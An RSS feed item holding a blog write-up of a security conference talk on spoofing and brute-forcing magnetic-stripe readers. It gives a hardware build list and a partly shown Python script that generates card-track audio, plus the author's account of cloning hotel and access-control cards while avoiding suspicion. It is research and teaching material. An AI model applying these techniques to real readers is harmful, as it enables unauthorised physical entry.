<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AndrewNohawk</title>
	<atom:link href="http://andrewmohawk.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://andrewmohawk.com</link>
	<description>Just another script kiddie&#039;s ramblings</description>
	<lastBuildDate>Sat, 13 Apr 2013 13:25:31 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Magnetic Stripes: Part 2 (Attacking)</title>
		<link>http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/</link>
		<comments>http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/#comments</comments>
		<pubDate>Mon, 18 Mar 2013 23:53:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Magnetic Stripes]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Aiken Biphase]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[Magstripe]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=530</guid>
		<description><![CDATA[I really should have written this after ZaCon (november last year), but I&#8217;m lazy. However I have been asked to give a brief overview of the same talk at ITWeb this year so I figure I may as well finish this article and get it out :P Candy: Write-up: So in the first blog post [...]]]></description>
				<content:encoded><![CDATA[<p>I really should have written this after <a href="https://www.zacon.org.za/" target="_blank">ZaCon</a> (november last year), but I&#8217;m lazy. However I have been asked to give a brief overview of the same talk at ITWeb this year so I figure I may as well finish this article and get it out :P</p>
<h2>Candy:</h2>
<p><iframe src="http://www.youtube.com/embed/nhnutc6IuWQ" height="315" width="560" allowfullscreen="" frameborder="0"></iframe></p>
<h2>Write-up:</h2>
<p>So in the <a href="http://andrewmohawk.com/2012/05/29/magnetic-stripes-part-1/">first blog post</a> I discussed the basics of Magnetic stripes and how the tech works. I like it because its fundamentally simple (perhaps like myself ;).</p>
<p>This entry is going to cover spoofing, from building a spoofer to having something read the entries. Ideally you want to have a magreader at this stage, either one of the nifty USB ones that act as an HID device or one that you built that can read the tracks you are interested in. Below is a cheap TTL reader I got (cost about R150, thats ~$20):</p>

<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc00040_1152x864/' title='TTL Reader 1'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC00040_1152x864-150x150.jpg" class="attachment-thumbnail" alt="TTL Reader" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc00041_1152x864/' title='TTL Reader 2'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC00041_1152x864-150x150.jpg" class="attachment-thumbnail" alt="Reverse of TTL Reader" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc00042_1152x864/' title='TTL Reader 4'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC00042_1152x864-150x150.jpg" class="attachment-thumbnail" alt="Opened TTL Reader" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc00043_1152x864/' title='TTL Reader 3'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC00043_1152x864-150x150.jpg" class="attachment-thumbnail" alt="Wires Connected to Magnetic read heads" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc00044_1152x864/' title='TTL Reader 5'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC00044_1152x864-150x150.jpg" class="attachment-thumbnail" alt="Opposite ends connected to mono plug" /></a>

<p>&nbsp;</p>
<p>This is really just so that you can &#8220;listen&#8221; to what your spoofer can generate. Magnetic stripe spoofers have been done all over the place, so please don&#8217;t think I did this, you can see some great examples <a href="http://www.instructables.com/id/Magnetic-stripe-card-spoofer/">HERE </a>and <a href="http://www.instructables.com/id/Magnetic-stripe-card-spoofer/">HERE</a>. Essentially however the system is dead simple, you have the &#8216;sound&#8217; that you wish to play (as discussed previously), an amplifier that can crank up the volume to the level that its going to get picked up and an electromagnet (it sounds fancy, its  just wire coiled around a piece of metal &#8211; more later).</p>
<p><span id="more-530"></span></p>
<h2>The Amp</h2>
<p>First up you want to build an amplifier. This seems incredibly daunting to someone who knows f-all about hardware (thats me!), however its not nearly as complicated as what I thought. I built one from an LM386 chip (it seems to be the easiest/most common), the layout for it looks like so:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2013/03/lm386-20.gif"><img class="aligncenter size-thumbnail wp-image-681" alt="LM386 Amp" src="http://andrewmohawk.com/wp-content/uploads/2013/03/lm386-20-150x150.gif" width="150" height="150" /></a></p>
<p>But really you can find a whole bunch on the net, just <a href="https://www.google.com/search?q=LM+386+amplifier">hit up the google machine</a>.</p>
<p>Really when it comes down to it, you only need:</p>
<ul>
<li>LM386</li>
<li>220 uF cap</li>
<li>0.05 uF cap</li>
<li>Mono Jack</li>
<li>9v Battery</li>
<li>Pot</li>
</ul>
<p>Here you can see mine, complete with terrible wiring,soldering and running on a 9v battery, luck and good feelings:</p>

<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc00058_1152x864/' title='LM386 Amp Front'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC00058_1152x864-150x150.jpg" class="attachment-thumbnail" alt="LM386 Amp Front" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc00059_1152x864/' title='LM386 Amp Back'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC00059_1152x864-150x150.jpg" class="attachment-thumbnail" alt="LM386 Amp Back" /></a>

<p>Best way to test the amplifier is to get an old school PC speaker, hook it up and play some audio through it, adjust the pot to check your volume control works and you are good to go. The sound quality isnt that great, but heck it works if you ever need a speaker system too :P</p>
<h2>The Electromagnet</h2>
<p>The next step is to create the electromagnet, essentially what it does is that when current is passed through the coil of wire that is wrapped around a ferromagnetic object an electromagnetic field is created . By turning this on and off rapidly we can create the differences we have seen previously in how magstripes work.  So for this part our partlist is as follows:</p>
<ul>
<li>Coil of thin wire (as thin as you can get without it becoming a hairball &#8212; I have 2 at home)</li>
<li>Ferromagnetic core, I just used some plain old sheet steel</li>
</ul>
<p>I read a number of the other magstripe spoof tutorials and it seems that the easiest way was to use either a rectangular piece of steel or an &#8216;I&#8217; shaped piece of steel (the I makes it easier to wrap the wire around). First thing I did was get these cut out I managed to get a bunch of different strips out, I then used a cut up 2L coke bottle and put the strips in some deoxidene to get them clean:</p>

<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03018/' title='DSC03018'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03018-150x150.jpg" class="attachment-thumbnail" alt="DSC03018" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03019/' title='DSC03019'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03019-150x150.jpg" class="attachment-thumbnail" alt="DSC03019" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03021/' title='DSC03021'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03021-150x150.jpg" class="attachment-thumbnail" alt="DSC03021" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03022/' title='DSC03022'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03022-150x150.jpg" class="attachment-thumbnail" alt="DSC03022" /></a>

<p>So once I had nicely cleaned pieces I needed to cover them in very thin wire. Initially I bought what seemed to be hair width hair (0.1 mm enamel/copper wire), my advice to anyone trying to use this is <strong>WALK AWAY SCREAMING</strong>. Literally I ended up both breaking the wire on the edges of the steel or ending up with a birdsnest where I couldnt actually thread the wire. However if you are looking to punish someone, I recommend this.</p>
<p>So I went to another electronics store, bought some 0.25 copper wire and some white marker tape to blunt the edges and started winding till I had a nice electromagnet:</p>

<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03025/' title='Electromagnet 1'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03025-150x150.jpg" class="attachment-thumbnail" alt="Electromagnet 1" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03026/' title='Electromagnet 2'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03026-150x150.jpg" class="attachment-thumbnail" alt="Electromagnet 2" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03028/' title='Electromagnet 3'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03028-150x150.jpg" class="attachment-thumbnail" alt="Electromagnet 3" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03030/' title='Electromagnet 4'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03030-150x150.jpg" class="attachment-thumbnail" alt="Electromagnet 4" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/dsc03031/' title='Electromagnet 5'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/DSC03031-150x150.jpg" class="attachment-thumbnail" alt="Electromagnet 5" /></a>

<p>Now I finally had both my electromagnet and amp together, I really just need to connect the two together.  Now the previous video probably makes a bit more sense, essentially what I did was connect the amp to the electromagnet to the output from my pc (at that stage playing <a href="http://www.youtube.com/watch?v=UW8UlY8eXCk">Dead Kennedys &#8211; California Über Alles</a> ), then on a seperate pc I used the <a href="http://andrewmohawk.com/2012/05/29/magnetic-stripes-part-1/">previous magnetic read head</a> connected to another computers microphone input and set the computer to play everything that came into that port. The result was me being able to play audio from one pc to another via my electromagnet:</p>
<p><iframe src="http://www.youtube.com/embed/k-5bgxR99zQ" height="315" width="560" allowfullscreen="" frameborder="0"></iframe></p>
<h2>Attacking</h2>
<p>Now we had the ability to play &#8216;audio&#8217; through the amplifier and electromagnet AND if you remember from the previous blog entry magstripes really are just audio we had a few options with what we could do:</p>
<ul>
<li><strong>Replay a card</strong> &#8211; Since magnetic cards are just a single track and usually not changed during an entry swipe  we could make a quick copy of a card and replay it to a reader</li>
<li><strong>Brute force a card</strong> &#8211; If a cards value is &#8220;accesslevel#1&#8243;, naturally we could change that from 1 to be 1-99999 and generate audio for just that</li>
</ul>
<p><strong>IMPORTANT:</strong> As we have a single magnetic field we are creating we can only replay a SINGLE track at a time, this means that while its great for something like access control and other systems that generally use one track you arent going to be able to spoof to a reader that is looking for all 3. However with that being said, if you play the tracks back to back often a reader will still see it as the &#8216;same card&#8217;, in practice however its very unlikely that you will come across this.</p>
<h2>Generating Audio</h2>
<p><a href="http://adamsblog.aperturelabs.com/">Adam Laurie (Major Malfunction)</a>  &#8211; an amazing researcher &#8211; previously created a few files (found in the same places as referenced in the last blog post) to not only take wav files apart and give you the ability to identify the data contained within it, but ALSO the ability to create these wavs. Here I created a quick wav file of a sample track 1 for a card, &#8220;%B0126672737012367^MOHAWK/ANDREW.MR          ^120119850000555        ?&#8221; :</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2013/03/cabGenerate.jpg"><img class="aligncenter size-medium wp-image-697" alt="cabGenerate" src="http://andrewmohawk.com/wp-content/uploads/2013/03/cabGenerate-300x53.jpg" width="300" height="53" /></a></p>
<p>After that I got a nice clean audio file out:</p>

<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/cabaudacity/' title='cabAudacity'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/cabAudacity-150x150.jpg" class="attachment-thumbnail" alt="cabAudacity" /></a>
<a href='http://andrewmohawk.com/2013/03/19/magnetic-stripes-part-2-attacking/cabaudacity2/' title='cabAudacity2'><img width="150" height="150" src="http://andrewmohawk.com/wp-content/uploads/2013/03/cabAudacity2-150x150.jpg" class="attachment-thumbnail" alt="cabAudacity2" /></a>

<p>The one thing you will instantly notice is that my audio file does not look ANYTHING like the previous audio files we had, these are all square waves where previous they were scintillating sine waves! This is due to the fact that in the code you will notice (# sinewaves need to be half waves to work &#8211; can&#8217;t be bothered to # figure it out now!), however they work perfectly well as the readers are not decoding the actual waves but the gaps inbetween.</p>
<p>Naturally generating the audio this way is a bit of a pain having to first create the magstripe binary string and then create the wav file, so I combined the two into a script I will discuss later. For now I had the audio, I had the amp and I had the electromagnet, on to testing! While testing/debugging I found it very useful to use the audio from the original magstripe &#8216;audio&#8217; reader created from the TTL device, but later I got my hands on one of the many cheap USB type readers available and could then hear if it was working correctly (it beeps) as well as see the decoded signal on the screen (its simply an HID device and &#8216;types&#8217; the output to the screen).</p>
<p><strong>Some Problems: </strong>So before I get to the final section of replaying and brute forcing, there are a few problems you should note with this. Firstly as discussed previously you cannot spoof multiple tracks at once. The second major problem is the volume output from your amp, as the readers essentially are reading your &#8216;song&#8217; if the sound is clipping (is too loud) or is too soft the reader will essentially not be able to &#8216;hear&#8217; your data. You would have seen from my ZaCon talk that my demo failed and that was because I accidentally moved the volume level down on my ipod from 100% (which everything was configured for) to 95%, and such a small volume difference can be all the well.. difference. Lastly readers often have a specific timeout they regard for a card swipe (a time they think the slowest swipe will take) which means that when brute forcing you will need to have a delay between each individual &#8220;card&#8221; or the device wont give you a positive/negative for it.</p>
<h2>Replaying/Spoofing</h2>
<p>Replaying is pretty trivial, simply record the audio in the method described in the previous post or using the TTL reader you built and then replay it through the amp to the electromagnet, remember to keep the electromagnet close enough to the read head that it can simulate a card passing and the read head can pick this up. To be fair I&#8217;d almost never do this, its far easier to simply purchase something like an MSR605 (I picked one up on eBay for relatively cheap) and simply create your own card &#8211; Ive done this with many hotel room cards/access control systems without ever having a problem. It means you look a lot less suspicious as you dont have any electronic devices plugged into the gate and if it doesnt work you can quite easily walk away :) It also means that if you do figure out something say that escalates your access control you can simply &#8220;write&#8221; that card and use that.</p>
<h2>Brute Forcing</h2>
<p>While replaying and spoofing is great, it means you still need access to a card and will always be using that card with its limitations. Many access control systems are trivially implemented and will either be configured individually on the entry system to allow certain cards (such as allow cards 00001/2/3/4/5) or be centrally linked to something that identifies a user (such as a student number for a university &#8211; information which can be found publicly). With this in mind the possibility of gaining access becomes a lot more realistic when bruteforcing (presuming of course you have access to a card for the system you are looking into).</p>
<p>So after mangling the scripts for my ZaCon talk (I hope this is okay with MM &#8211; I did include all his copyright etc) I came up with this:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #483d8b;">''</span><span style="color: #483d8b;">'
This script was hacked together using Major Malfunctions cab.py and cmsb.py, licenses from those as follows:
&nbsp;
# 
# cmsb.py: Create MagStripe Binary
# Convert ASCII data to ABA/IATA binary with LRC
# Inspired by dmsb.c by Joseph Battaglia &amp;lt;sephail@sephail.net&amp;gt;
# 
# Copyright 2006,2007 Major Malfunction &amp;lt;majormal@pirate-radio.org&amp;gt;
# version 0.1 (IATA only)
#   http://www.alcrypto.co.uk/
#   Distributed under the terms of the GNU General Public License v2
# version 0.2 (add ABA capability, characterset checking)
#   Parts Copyright 2007 Mansour Moufid &amp;lt;mmoufid@connect.carleton.ca&amp;gt;
#   Distributed under the terms of the GNU General Public License v3
&nbsp;
# cab.py: Create Aiken Biphase
# create a WAV file with arbitrary data in it
#
# Copyright(c) 2006, Major Malfunction &amp;lt;majormal@pirate-radio.org&amp;gt;
# http://www.alcrypto.co.uk
#
# inspired by '</span>dab.<span style="color: black;">c</span><span style="color: #483d8b;">' by Joseph Battaglia &amp;lt;sephail@sephail.net&amp;gt;
#
#   Permission is hereby granted, free of charge, to any person obtaining a copy
#   of this software and associated documentation files (the &quot;Software&quot;), to
#   deal in the Software without restriction, including without limitation the
#   rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
#   sell copies of the Software, and to permit persons to whom the Software is
#   furnished to do so, subject to the following conditions:
#
#   The above copyright notice and this permission notice shall be included in
#   all copies or substantial portions of the Software.
#
#   THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
#   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
#   IN THE SOFTWARE.
#
# version 0.1:
#	just get the thing working with fixed WAV and other parameters!
&nbsp;
Password gen stuff thanks to Nadeem Douba ( @ndouba )
'</span><span style="color: #483d8b;">''</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">string</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">operator</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">wave</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">struct</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">math</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> _baseN<span style="color: black;">&#40;</span>num, base, numerals<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> num:
        <span style="color: #ff7700;font-weight:bold;">return</span> numerals<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> num <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">0</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">'-'</span> + _baseN<span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">*</span> num, base, numerals<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #ff4500;">2</span> <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span>= base <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span>= <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>numerals<span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">raise</span> <span style="color: #008000;">ValueError</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Base must be between 2-%d'</span> <span style="color: #66cc66;">%</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>numerals<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
    left_digits = num // base
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> left_digits == <span style="color: #ff4500;">0</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> numerals<span style="color: black;">&#91;</span>num <span style="color: #66cc66;">%</span> base<span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> _baseN<span style="color: black;">&#40;</span>left_digits, base, numerals<span style="color: black;">&#41;</span> + numerals<span style="color: black;">&#91;</span>num <span style="color: #66cc66;">%</span> base<span style="color: black;">&#93;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> baseN<span style="color: black;">&#40;</span>num, numerals=<span style="color: #483d8b;">&quot;0123456789abcdefghijklmnopqrstuvwxyz&quot;</span>, padding=<span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>:
&nbsp;
    n = _baseN<span style="color: black;">&#40;</span>num, <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>numerals<span style="color: black;">&#41;</span>, numerals<span style="color: black;">&#41;</span>
    l = <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> l <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span> padding:         n = <span style="color: #483d8b;">'%s%s'</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>numerals<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">*</span> <span style="color: black;">&#40;</span>padding - l<span style="color: black;">&#41;</span>, n<span style="color: black;">&#41;</span>     <span style="color: #ff7700;font-weight:bold;">return</span> n 	 	 <span style="color: #ff7700;font-weight:bold;">def</span> createSquareWav<span style="color: black;">&#40;</span>wavFile,freq,data,reverse,delay<span style="color: black;">&#41;</span>: 	 	 	frequency= <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>freq<span style="color: black;">&#41;</span> - <span style="color: #ff4500;">1</span> 	 	<span style="color: #ff7700;font-weight:bold;">if</span> reverse == <span style="color: #008000;">True</span>: 		newdata= <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span> 		n= <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span> - <span style="color: #ff4500;">1</span> 		<span style="color: #ff7700;font-weight:bold;">while</span> n <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span>= <span style="color: #ff4500;">0</span>:
			newdata.<span style="color: black;">append</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#91;</span>n<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
			n= n - <span style="color: #ff4500;">1</span>
		data= newdata
&nbsp;
	peak= <span style="color: #ff4500;">32767</span>
	wavedata = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
	<span style="color: #808080; font-style: italic;">#Trailing space</span>
	<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">22050</span> <span style="color: #66cc66;">*</span> delay<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
		wavedata.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00'</span><span style="color: black;">&#41;</span>
		<span style="color: #808080; font-style: italic;">#wavFile.writeframes('\x00\x00')</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">20</span><span style="color: black;">&#41;</span>:
		wavedata.<span style="color: black;">append</span><span style="color: black;">&#40;</span>pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;h&quot;</span>,<span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		<span style="color: #808080; font-style: italic;">#wavFile.writeframes(pack(&quot;h&quot;,0))</span>
&nbsp;
	<span style="color: #808080; font-style: italic;"># write the actual data</span>
	<span style="color: #808080; font-style: italic;"># square wave for now</span>
	n= <span style="color: #ff4500;">0</span>
	writedata= peak
	<span style="color: #ff7700;font-weight:bold;">while</span> n <span style="color: #66cc66;">&amp;</span>lt<span style="color: #66cc66;">;</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">if</span> data<span style="color: black;">&#91;</span>n<span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'1'</span>:
			<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>:
				writedata= -writedata
				<span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>frequency/<span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span>:
					wavedata.<span style="color: black;">append</span><span style="color: black;">&#40;</span>pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;h&quot;</span>,writedata<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
					<span style="color: #808080; font-style: italic;">#wavFile.writeframes(pack(&quot;h&quot;,writedata))</span>
		<span style="color: #ff7700;font-weight:bold;">if</span> data<span style="color: black;">&#91;</span>n<span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'0'</span>:
			writedata= -writedata
			<span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>frequency/<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>:
				wavedata.<span style="color: black;">append</span><span style="color: black;">&#40;</span>pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;h&quot;</span>,writedata<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
				<span style="color: #808080; font-style: italic;">#wavFile.writeframes(pack(&quot;h&quot;,writedata))</span>
&nbsp;
		n= n + <span style="color: #ff4500;">1</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">#for x in range(32000):</span>
	<span style="color: #808080; font-style: italic;">#	wavFile.writeframes('\x00\x00')</span>
	<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">22050</span> <span style="color: #66cc66;">*</span> delay<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
		wavedata.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00'</span><span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">#Doing it this way takes some tests I did from 1min 15secs to 2seconds!!!!!!!</span>
	value_str = <span style="color: #483d8b;">''</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>wavedata<span style="color: black;">&#41;</span>
	wavFile.<span style="color: black;">writeframes</span><span style="color: black;">&#40;</span>value_str<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> createAikenBiphase<span style="color: black;">&#40;</span>tracknum,data,padding<span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>tracknum<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">1</span>:
		bits = <span style="color: #ff4500;">7</span>
		base= <span style="color: #ff4500;">32</span>
		<span style="color: #008000;">max</span>= <span style="color: #ff4500;">63</span>
	<span style="color: #ff7700;font-weight:bold;">elif</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>tracknum<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">2</span> <span style="color: #ff7700;font-weight:bold;">or</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>tracknum<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">3</span>:
		bits = <span style="color: #ff4500;">5</span>
		base= <span style="color: #ff4500;">48</span>
		<span style="color: #008000;">max</span>= <span style="color: #ff4500;">15</span>
&nbsp;
	zero = <span style="color: #483d8b;">''</span>
	lrc = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>bits<span style="color: black;">&#41;</span>:
		zero += <span style="color: #483d8b;">&quot;0&quot;</span>
		lrc.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
	output = <span style="color: #483d8b;">''</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">#padding = 0</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>padding<span style="color: black;">&#41;</span>:
		output += zero
&nbsp;
